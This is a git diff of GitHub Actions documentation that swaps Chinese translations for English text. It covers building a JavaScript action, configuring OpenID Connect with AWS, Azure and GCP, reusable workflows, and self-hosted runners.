information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. -完成此项目后，您应了解如何构建自己的 JavaScript 操作和在工作流程测试该操作。 +Once you complete this project, you should understand how to build your own JavaScript action and test it in a workflow. {% data reusables.github-actions.pure-javascript %} {% data reusables.github-actions.context-injection-warning %} -## 基本要求 +## Prerequisites -在开始之前，您需要下载 Node.js 并创建公共 {% data variables.product.prodname_dotcom %} 仓库。 +Before you begin, you'll need to download Node.js and create a public {% data variables.product.prodname_dotcom %} repository. -1. 下载并安装 Node.js 12.x，其中包含 npm。 +1. Download and install Node.js 12.x, which includes npm. https://nodejs.org/en/download/current/ -1. 在 {% data variables.product.product_location %} 上创建一个新的公共仓库，并将其称为 "hello-world-javascript-action"。 更多信息请参阅“[创建新仓库](/articles/creating-a-new-repository)”。 +1. Create a new public repository on {% data variables.product.product_location %} and call it "hello-world-javascript-action". For more information, see "[Create a new repository](/articles/creating-a-new-repository)." -1. 将仓库克隆到计算机。 更多信息请参阅“[克隆仓库](/articles/cloning-a-repository)”。 +1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." -1. 从您的终端，将目录更改为新仓库。 +1. From your terminal, change directories into your new repository. - ```shell + ```shell{:copy} cd hello-world-javascript-action ``` -1. 从您的终端，使用 npm 初始化目录以生成 `package.json` 文件。 +1. From your terminal, initialize the directory with npm to generate a `package.json` file. - ```shell + ```shell{:copy} npm init -y ``` -## 创建操作元数据文件 +## Creating an action metadata file -使用以下示例代码在 `hello-world-javascript-action` 目录中创建新文件 `action.yml`。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions)”。 +Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)." -```yaml +```yaml{:copy} name: 'Hello World' description: 'Greet someone and record the time' inputs: @@ -78,37 +78,37 @@ runs: main: 'index.js' ``` -此文件定义 `who-to-greet` 输入和 `time` 输出。 它还告知操作运行程序如何开始运行此 JavaScript 操作。 +This file defines the `who-to-greet` input and `time` output. It also tells the action runner how to start running this JavaScript action. -## 添加操作工具包 +## Adding actions toolkit packages -操作工具包是 Node.js 包的集合，可让您以更高的一致性快速构建 JavaScript 操作。 +The actions toolkit is a collection of Node.js packages that allow you to quickly build JavaScript actions with more consistency. -工具包 [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) 包提供一个接口，用于工作流程命令、输入和输出变量、退出状态以及调试消息。 +The toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package provides an interface to the workflow commands, input and output variables, exit statuses, and debug messages. -工具包还提供 [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) 包，用于返回经验证的 Octokit REST 客户端和访问 GitHub Actions 上下文。 +The toolkit also offers a [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) package that returns an authenticated Octokit REST client and access to GitHub Actions contexts. -工具包不止提供 `core` 和 `github` 包。 更多信息请参阅 [actions/toolkit](https://github.com/actions/toolkit) 仓库。 +The toolkit offers more than the `core` and `github` packages. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. -在您的终端，安装操作工具包 `core` 和 `github` 包。 +At your terminal, install the actions toolkit `core` and `github` packages. -```shell +```shell{:copy} npm install @actions/core npm install @actions/github ``` -现在，您应看到 `node_modules` 目录（包含您刚安装的模块）和 `package-lock.json` 文件（包含已安装模块的依赖项和每个已安装模块的版本）。 +Now you should see a `node_modules` directory with the modules you just installed and a `package-lock.json` file with the installed module dependencies and the versions of each installed module. -## 编写操作代码 +## Writing the action code -此操作使用工具包获取操作元数据文件中所需的 `who-to-greet` 输入变量，然后在日志的调试消息中打印 "Hello [who-to-greet]"。 接下来，该脚本会获取当前时间并将其设置为作业中稍后运行的操作可以使用的输出变量。 +This action uses the toolkit to get the `who-to-greet` input variable required in the action's metadata file and prints "Hello [who-to-greet]" in a debug message in the log. Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. -GitHub 操作提供有关 web 挂钩实践、Git 引用、工作流程、操作和触发工作流程的人员的上下文信息。 要访问上下文信息，您可以使用 `github` 包。 您将编写的操作将打印 web 挂钩事件有效负载日志。 +GitHub Actions provide context information about the webhook event, Git refs, workflow, action, and the person who triggered the workflow. To access the context information, you can use the `github` package. The action you'll write will print the webhook event payload to the log. -使用以下代码添加名为 `index.js` 的新文件。 +Add a new file called `index.js`, with the following code. {% raw %} -```javascript +```javascript{:copy} const core = require('@actions/core'); const github = require('@actions/github'); @@ -127,20 +127,20 @@ try { ``` {% endraw %} -如果在上述 `index.js` 示例中出现错误 `core.setFailed(error.message);`，请使用操作工具包 [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) 包记录消息并设置失败退出代码。 更多信息请参阅“[设置操作的退出代码](/actions/creating-actions/setting-exit-codes-for-actions)”。 +If an error is thrown in the above `index.js` example, `core.setFailed(error.message);` uses the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failing exit code. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)." -## 创建自述文件 +## Creating a README -要让人们了解如何使用您的操作，您可以创建自述文件。 自述文件在您计划公开分享操作时最有用，但也是提醒您或您的团队如何使用该操作的绝佳方式。 +To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action. -在 `hello-world-javascript-action` 目录中，创建指定以下信息的 `README.md` 文件： +In your `hello-world-javascript-action` directory, create a `README.md` file that specifies the following information: -- 操作的详细描述。 -- 必要的输入和输出变量。 -- 可选的输入和输出变量。 -- 操作使用的密码。 -- 操作使用的环境变量。 -- 如何在工作流程中使用操作的示例。 +- A detailed description of what the action does. +- Required input and output arguments. +- Optional input and output arguments. +- Secrets the action uses. +- Environment variables the action uses. +- An example of how to use your action in a workflow. ```markdown # Hello world javascript action @@ -166,34 +166,39 @@ with: who-to-greet: 'Mona the Octocat' ``` -## 提交、标记和推送操作到 GitHub +## Commit, tag, and push your action to GitHub -{% data variables.product.product_name %} 下载运行时在工作流程中运行的每个操作，并将其作为完整的代码包执行，然后才能使用 `run` 等工作流程命令与运行器机器交互。 这意味着您必须包含运行 JavaScript 代码所需的所有包依赖项。 您需要将工具包 `core` 和 `github` 包检入到操作的仓库中。 +{% data variables.product.product_name %} downloads each action run in a workflow during runtime and executes it as a complete package of code before you can use workflow commands like `run` to interact with the runner machine. This means you must include any package dependencies required to run the JavaScript code. You'll need to check in the toolkit `core` and `github` packages to your action's repository. -从您的终端，提交 `action.yml`、`index.js`、`node_modules`、`package.json`、`package-lock.json` 和 `README.md` 文件。 如果您添加了列有 `node_modules` 的 `.gitignore` 文件，则需要删除该行才能提交 `node_modules` 目录。 +From your terminal, commit your `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json`, and `README.md` files. If you added a `.gitignore` file that lists `node_modules`, you'll need to remove that line to commit the `node_modules` directory. -最佳做法是同时为操作版本添加版本标记。 有关对操作进行版本管理的详细信息，请参阅“[关于操作](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)”。 +It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)." -```shell +```shell{:copy} git add action.yml index.js node_modules/* package.json package-lock.json README.md git commit -m "My first action is ready" git tag -a -m "My first action release" v1.1 git push --follow-tags ``` -检入 `node_modules` 目录可能会导致问题。 作为替代方法，您可以使用名为 [`@vercel/ncc`](https://github.com/vercel/ncc) 的工具将您的代码和模块编译到一个用于分发的文件中。 +Checking in your `node_modules` directory can cause problems. As an alternative, you can use a tool called [`@vercel/ncc`](https://github.com/vercel/ncc) to compile your code and modules into one file used for distribution. -1. 通过在您的终端运行此命令来安装 `vercel/ncc`。 `npm i -g @vercel/ncc` +1. Install `vercel/ncc` by running this command in your terminal. + `npm i -g @vercel/ncc` -1. 编译您的 `index.js` 文件。 `ncc build index.js --license licenses.txt` +1. Compile your `index.js` file. + `ncc build index.js --license licenses.txt` - 您会看到一个新的 `dist/index.js` 文件，其中包含您的代码和编译的模块。 您还将看到随附的 `dist/licenses.txt` 文件，其中包含所用 `node_modules` 的所有许可证。 + You'll see a new `dist/index.js` file with your code and the compiled modules. + You will also see an accompanying `dist/licenses.txt` file containing all the licenses of the `node_modules` you are using. -1. 在 `action.yml` 文件中更改 `main` 关键字以使用新的 `dist/index.js` 文件。 `main: 'dist/index.js'` +1. Change the `main` keyword in your `action.yml` file to use the new `dist/index.js` file. + `main: 'dist/index.js'` -1. 如果已检入您的 `node_modules` 目录，请删除它。 `rm -rf node_modules/*` +1. If you already checked in your `node_modules` directory, remove it. + `rm -rf node_modules/*` -1. 从您的终端，将更新提交到 `action.yml`、`dist/index.js` 和 `node_modules` 文件。 +1. From your terminal, commit the updates to your `action.yml`, `dist/index.js`, and `node_modules` files. ```shell git add action.yml dist/index.js node_modules/* git commit -m "Use vercel/ncc" @@ -201,20 +206,20 @@ git tag -a -m "My first action release" v1.1 git push --follow-tags ``` -## 在工作流程中测试您的操作 +## Testing out your action in a workflow -现在，您已准备好在工作流程中测试您的操作。 如果操作位于私有仓库，则该操作只能在同一仓库的工作流程中使用。 公共操作可供任何仓库中的工作流程使用。 +Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository. {% data reusables.actions.enterprise-marketplace-actions %} -### 使用公共操作的示例 +### Example using a public action -此示例显示您的新公共操作如何从外部仓库中运行。 +This example demonstrates how your new public action can be run from within an external repository. -将以下 YAML 复制到 `.github/workflows/main.yml` 上的新文件中，并使用您的用户名和上面创建的公共仓库名称更新 `uses: octocat/hello-world-javascript-action@v1.1` 行。 您还可以将 `who-to-greet` 输入替换为您的名称。 +Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. You can also replace the `who-to-greet` input with your name. {% raw %} -```yaml +```yaml{:copy} on: [push] jobs: @@ -233,15 +238,15 @@ jobs: ``` {% endraw %} -当触发此工作流程时，运行器将从您的公共仓库下载 `hello-world-javascript-action` 操作，然后执行它。 +When this workflow is triggered, the runner will download the `hello-world-javascript-action` action from your public repository and then execute it. -### 使用私有操作的示例 +### Example using a private action -将工作流程代码复制到操作仓库中的 `.github/workflows/main.yml` 文件。 您还可以将 `who-to-greet` 输入替换为您的名称。 +Copy the workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. {% raw %} **.github/workflows/main.yml** -```yaml +```yaml{:copy} on: [push] jobs: @@ -264,12 +269,12 @@ jobs: ``` {% endraw %} -从您的仓库中，单击 **Actions（操作）**选项卡，然后选择最新的工作流程来运行。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}在 **Jobs（作业）**下或可视化图表中，单击 **A job to say hello（表示问候的作业）**。 {% endif %}您应看到 "Hello Mona the Octocat" 或您用于 `who-to-greet` 输入的姓名和时间戳在日志中打印。 +From your repository, click the **Actions** tab, and select the latest workflow run. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -![在工作流中使用操作的屏幕截图](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png) +![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png) {% elsif ghes %} -![在工作流中使用操作的屏幕截图](/assets/images/help/repository/javascript-action-workflow-run-updated.png) +![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated.png) {% else %} -![在工作流中使用操作的屏幕截图](/assets/images/help/repository/javascript-action-workflow-run.png) +![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run.png) {% endif %} diff --git a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md index 6c48d2b3da..d7dcd59852 100644 --- a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md +++ b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md @@ -1,11 +1,11 @@ --- title: Configuring OpenID Connect in Amazon Web Services shortTitle: Configuring OpenID Connect in Amazon Web Services -intro: Use OpenID Connect within your workflows to authenticate with Amazon Web Services. +intro: 'Use OpenID Connect within your workflows to authenticate with Amazon Web Services.' miniTocMaxHeadingLevel: 3 versions: fpt: '*' - ghae: issue-4856 + ghae: 'issue-4856' ghec: '*' type: tutorial topics: @@ -15,13 +15,13 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## 概览 +## Overview -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Amazon Web Services (AWS), without needing to store the AWS credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. +OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Amazon Web Services (AWS), without needing to store the AWS credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. This guide explains how to configure AWS to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) that uses tokens to authenticate to AWS and access resources. -## 基本要求 +## Prerequisites {% data reusables.actions.oidc-link-to-intro %} @@ -38,18 +38,17 @@ To add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM, se To configure the role and trust in IAM, see the AWS documentation for ["Assuming a Role"](https://github.com/aws-actions/configure-aws-credentials#assuming-a-role) and ["Creating a role for web identity or OpenID connect federation"](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html). -By default, the validation only includes the audience (`aud`) condition, so you must manually add a subject (`sub`) condition. Edit the trust relationship to add the `sub` field to the validation conditions. 例如： +Edit the trust relationship to add the `sub` field to the validation conditions. For example: ```json{:copy} "Condition": { "StringEquals": { - "token.actions.githubusercontent.com:aud": "https://github.com/octo-org", "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:ref:refs/heads/octo-branch" } } ``` -## 更新 {% data variables.product.prodname_actions %} 工作流程 +## Updating your {% data variables.product.prodname_actions %} workflow To update your workflows for OIDC, you will need to make two changes to your YAML: 1. Add permissions settings for the token. @@ -57,14 +56,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM ### Adding permissions settings -The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例如： +The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example: ```yaml{:copy} permissions: id-token: write ``` -You may need to specify additional permissions here, depending on your workflow's requirements. +You may need to specify additional permissions here, depending on your workflow's requirements. ### Requesting the access token @@ -86,7 +85,7 @@ env: # permission can be added at job level or workflow level permissions: id-token: write - contents: write # This is required for actions/checkout@v1 + contents: read # This is required for actions/checkout@v1 jobs: S3PackageUpload: runs-on: ubuntu-latest diff --git a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md index 170bc292b1..80231b121a 100644 --- a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md +++ b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md @@ -1,11 +1,11 @@ --- title: Configuring OpenID Connect in Azure shortTitle: Configuring OpenID Connect in Azure -intro: Use OpenID Connect within your workflows to authenticate with Azure. +intro: 'Use OpenID Connect within your workflows to authenticate with Azure.' miniTocMaxHeadingLevel: 3 versions: fpt: '*' - ghae: issue-4856 + ghae: 'issue-4856' ghec: '*' type: tutorial topics: @@ -15,13 +15,13 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## 概览 +## Overview -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Azure, without needing to store the Azure credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. +OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Azure, without needing to store the Azure credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. This guide gives an overview of how to configure Azure to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`azure/login`](https://github.com/Azure/login) action that uses tokens to authenticate to Azure and access resources. -## 基本要求 +## Prerequisites {% data reusables.actions.oidc-link-to-intro %} @@ -42,7 +42,7 @@ Additional guidance for configuring the identity provider: - For security hardening, make sure you've reviewed ["Configuring the OIDC trust with the cloud"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see ["Configuring the subject in your cloud provider"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider). - For the `audience` setting, `api://AzureADTokenExchange` is the recommended value, but you can also specify other values here. -## 更新 {% data variables.product.prodname_actions %} 工作流程 +## Updating your {% data variables.product.prodname_actions %} workflow To update your workflows for OIDC, you will need to make two changes to your YAML: 1. Add permissions settings for the token. @@ -50,14 +50,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM ### Adding permissions settings -The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例如： +The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example: ```yaml{:copy} permissions: id-token: write ``` -You may need to specify additional permissions here, depending on your workflow's requirements. +You may need to specify additional permissions here, depending on your workflow's requirements. ### Requesting the access token @@ -65,36 +65,28 @@ The [`azure/login`](https://github.com/Azure/login) action receives a JWT from t The following example exchanges an OIDC ID token with Azure to receive an access token, which can then be used to access cloud resources. +{% raw %} ```yaml{:copy} -name: Run Azure Login with OpenID Connect +name: Run Azure Login with OIDC on: [push] permissions: id-token: write - + contents: read jobs: build-and-deploy: runs-on: ubuntu-latest steps: - - - name: Installing CLI-beta for OpenID Connect - run: | - cd ../.. - CWD="$(pwd)" - python3 -m venv oidc-venv - . oidc-venv/bin/activate - echo "activated environment" - python3 -m pip install -q --upgrade pip - echo "started installing cli beta" - pip install -q --extra-index-url https://azcliprod.blob.core.windows.net/beta/simple/ azure-cli - echo "***************installed cli beta*******************" - echo "$CWD/oidc-venv/bin" >> $GITHUB_PATH - - - name: 'Az CLI login' - uses: azure/login@v1.4.0 - with: - client-id: {% raw %}${{ secrets.AZURE_CLIENTID }}{% endraw %} - tenant-id: {% raw %}${{ secrets.AZURE_TENANTID }}{% endraw %} - subscription-id: {% raw %}${{ secrets.AZURE_SUBSCRIPTIONID }}{% endraw %} + - name: 'Az CLI login' + uses: azure/login@v1 + with: + client-id: ${{ secrets.AZURE_CLIENT_ID }} + tenant-id: ${{ secrets.AZURE_TENANT_ID }} + subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} + + - name: 'Run az commands' + run: | + az account show + az group list ``` - + {% endraw %} diff --git a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md index 8457f44573..ec07382cbc 100644 --- a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md +++ b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md @@ -1,11 +1,11 @@ --- title: Configuring OpenID Connect in Google Cloud Platform shortTitle: Configuring OpenID Connect in Google Cloud Platform -intro: Use OpenID Connect within your workflows to authenticate with Google Cloud Platform. +intro: 'Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.' miniTocMaxHeadingLevel: 3 versions: fpt: '*' - ghae: issue-4856 + ghae: 'issue-4856' ghec: '*' type: tutorial topics: @@ -15,13 +15,13 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## 概览 +## Overview -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. +OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. This guide gives an overview of how to configure GCP to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action that uses tokens to authenticate to GCP and access resources. -## 基本要求 +## Prerequisites {% data reusables.actions.oidc-link-to-intro %} @@ -33,7 +33,7 @@ To configure the OIDC identity provider in GCP, you will need to perform the fol 1. Create a new identity pool. 2. Configure the mapping and add conditions. -3. Connect the new pool to a service account. +3. Connect the new pool to a service account. Additional guidance for configuring the identity provider: @@ -41,7 +41,7 @@ Additional guidance for configuring the identity provider: - For the service account to be available for configuration, it needs to be assigned to the `roles/iam.workloadIdentityUser` role. For more information, see [the GCP documentation](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions). - The Issuer URL to use: `https://token.actions.githubusercontent.com` -## 更新 {% data variables.product.prodname_actions %} 工作流程 +## Updating your {% data variables.product.prodname_actions %} workflow To update your workflows for OIDC, you will need to make two changes to your YAML: 1. Add permissions settings for the token. @@ -49,14 +49,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM ### Adding permissions settings -The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例如： +The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example: ```yaml{:copy} permissions: id-token: write ``` -You may need to specify additional permissions here, depending on your workflow's requirements. +You may need to specify additional permissions here, depending on your workflow's requirements. ### Requesting the access token @@ -70,6 +70,7 @@ This example has a job called `Get_OIDC_ID_token` that uses actions to request a This action exchanges a {% data variables.product.prodname_dotcom %} OIDC token for a Google Cloud access token, using [Workload Identity Federation](https://cloud.google.com/iam/docs/workload-identity-federation). +{% raw %} ```yaml{:copy} name: List services in GCP on: @@ -95,5 +96,6 @@ jobs: name: 'gcloud' run: |- gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}" - gcloud config list + gcloud services list ``` +{% endraw %} diff --git a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md index 79d280b52b..bcef498934 100644 --- a/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md +++ b/translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md @@ -1,13 +1,13 @@ --- title: Using OpenID Connect with reusable workflows shortTitle: Using OpenID Connect with reusable workflows -intro: You can use reusable workflows with OIDC to standardize and security harden your deployment steps. +intro: 'You can use reusable workflows with OIDC to standardize and security harden your deployment steps.' miniTocMaxHeadingLevel: 3 redirect_from: - /actions/deployment/security-hardening-your-deployments/using-oidc-with-your-reusable-workflows versions: fpt: '*' - ghae: issue-4757-and-5856 + ghae: 'issue-4757-and-5856' ghec: '*' type: how_to topics: @@ -18,12 +18,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% note %} - -**Note:** Reusable workflows are currently in beta and subject to change. - -{% endnote %} - ## About reusable workflows Rather than copying and pasting deployment jobs from one workflow to another, you can create a reusable workflow that performs the deployment steps. A reusable workflow can be used by another workflow if it meets one of the access requirements described in "[Reusing workflows](/actions/learn-github-actions/reusing-workflows#access-to-reusable-workflows)." @@ -74,7 +68,7 @@ For example, the following OIDC token is for a job that was part of a called wor If your reusable workflow performs deployment steps, then it will typically need access to a specific cloud role, and you might want to allow any repository in your organization to call that reusable workflow. To permit this, you'll create the trust condition that allows any repository and any caller workflow, and then filter on the organization and the called workflow. See the next section for some examples. -## 示例 +## Examples **Filtering for reusable workflows within a specific repository** @@ -93,9 +87,9 @@ You can configure a custom claim that filters for any reusable workflow in a spe You can configure a custom claim that filters for a specific reusable workflow. In this example, the workflow run must have originated from a job defined in the reusable workflow `octo-org/octo-automation/.github/workflows/deployment.yml`, and in any repository that is owned by the `octo-org` organization. - **Subject**: - - Syntax: `repo:ORG_NAME/*` - - Example: `repo:octo-org/*` + - Syntax: `repo:ORG_NAME/*` + - Example: `repo:octo-org/*` - **Custom claim**: - - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref` + - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref` - Example: `job_workflow_ref:octo-org/octo-automation/.github/workflows/deployment.yml@ 10040c56a8c0253d69db7c1f26a0d227275512e2` diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/about-self-hosted-runners.md b/translations/zh-CN/content/actions/hosting-your-own-runners/about-self-hosted-runners.md index 473247da55..40d2652bc4 100644 --- a/translations/zh-CN/content/actions/hosting-your-own-runners/about-self-hosted-runners.md +++ b/translations/zh-CN/content/actions/hosting-your-own-runners/about-self-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: 关于自托管运行器 -intro: '您可以托管自己的运行器，并自定义用于在 {% data variables.product.prodname_actions %} 工作流程中运行作业的环境。' +title: About self-hosted runners +intro: 'You can host your own runners and customize the environment used to run jobs in your {% data variables.product.prodname_actions %} workflows.' redirect_from: - /github/automating-your-workflow-with-github-actions/about-self-hosted-runners - /actions/automating-your-workflow-with-github-actions/about-self-hosted-runners @@ -17,124 +17,124 @@ type: overview {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 关于自托管运行器 +## About self-hosted runners -{% data reusables.github-actions.self-hosted-runner-description %} 自托管的运行器可以是物理、虚拟，在容器中，也可以在本地或云端。 +{% data reusables.github-actions.self-hosted-runner-description %} Self-hosted runners can be physical, virtual, in a container, on-premises, or in a cloud. -您可以在管理层次结构的各个层级添加自托管运行器： -- 仓库级运行器专用于单个仓库。 -- 组织级运行器可以处理组织中多个仓库的作业。 -- 企业级运行器可以分配到企业帐户中的多个组织。 +You can add self-hosted runners at various levels in the management hierarchy: +- Repository-level runners are dedicated to a single repository. +- Organization-level runners can process jobs for multiple repositories in an organization. +- Enterprise-level runners can be assigned to multiple organizations in an enterprise account. -运行器机器使用 {% data variables.product.prodname_actions %} 自托管运行器应用程序连接到 {% data variables.product.product_name %}。 {% data reusables.github-actions.runner-app-open-source %} 当发布新版本时，运行器应用程序在作业分配到运行器时或发布后一周内（如果运行器没有被分配任何作业）会自动更新。 +Your runner machine connects to {% data variables.product.product_name %} using the {% data variables.product.prodname_actions %} self-hosted runner application. {% data reusables.github-actions.runner-app-open-source %} When a new version is released, the runner application automatically updates itself when a job is assigned to the runner, or within a week of release if the runner hasn't been assigned any jobs. {% data reusables.github-actions.self-hosted-runner-auto-removal %} -有关安装和使用自托管运行器的更多信息，请参阅“[添加自托管运行器](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)”和“[在工作流程中使用自托管运行器](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)”。 +For more information about installing and using self-hosted runners, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)." -## {% data variables.product.prodname_dotcom %} 托管的运行器与自托管运行器之间的差异 +## Differences between {% data variables.product.prodname_dotcom %}-hosted and self-hosted runners -{% data variables.product.prodname_dotcom %} 托管的运行器提供了一个更快、更简单的工作流程运行方式，而自托管运行器是您的自定义环境中高度可配置的工作流程运行方式。 +{% data variables.product.prodname_dotcom %}-hosted runners offer a quicker, simpler way to run your workflows, while self-hosted runners are a highly configurable way to run workflows in your own custom environment. -**{% data variables.product.prodname_dotcom %} 托管的运行器：** -- 接收操作系统、预安装的软件包和工具以及自托管运行器程序应用程序的自动更新。 -- 被 {% data variables.product.prodname_dotcom %} 管理和维护。 -- 为每个作业执行提供一个干净的实例。 -- 使用 {% data variables.product.prodname_dotcom %} 计划设定的免费分钟数，超过免费分钟数后按分钟收费。 +**{% data variables.product.prodname_dotcom %}-hosted runners:** +- Receive automatic updates for the operating system, preinstalled packages and tools, and the self-hosted runner application. +- Are managed and maintained by {% data variables.product.prodname_dotcom %}. +- Provide a clean instance for every job execution. +- Use free minutes on your {% data variables.product.prodname_dotcom %} plan, with per-minute rates applied after surpassing the free minutes. -**自托管运行器：** -- 仅接收自托管运行器应用程序的自动更新。 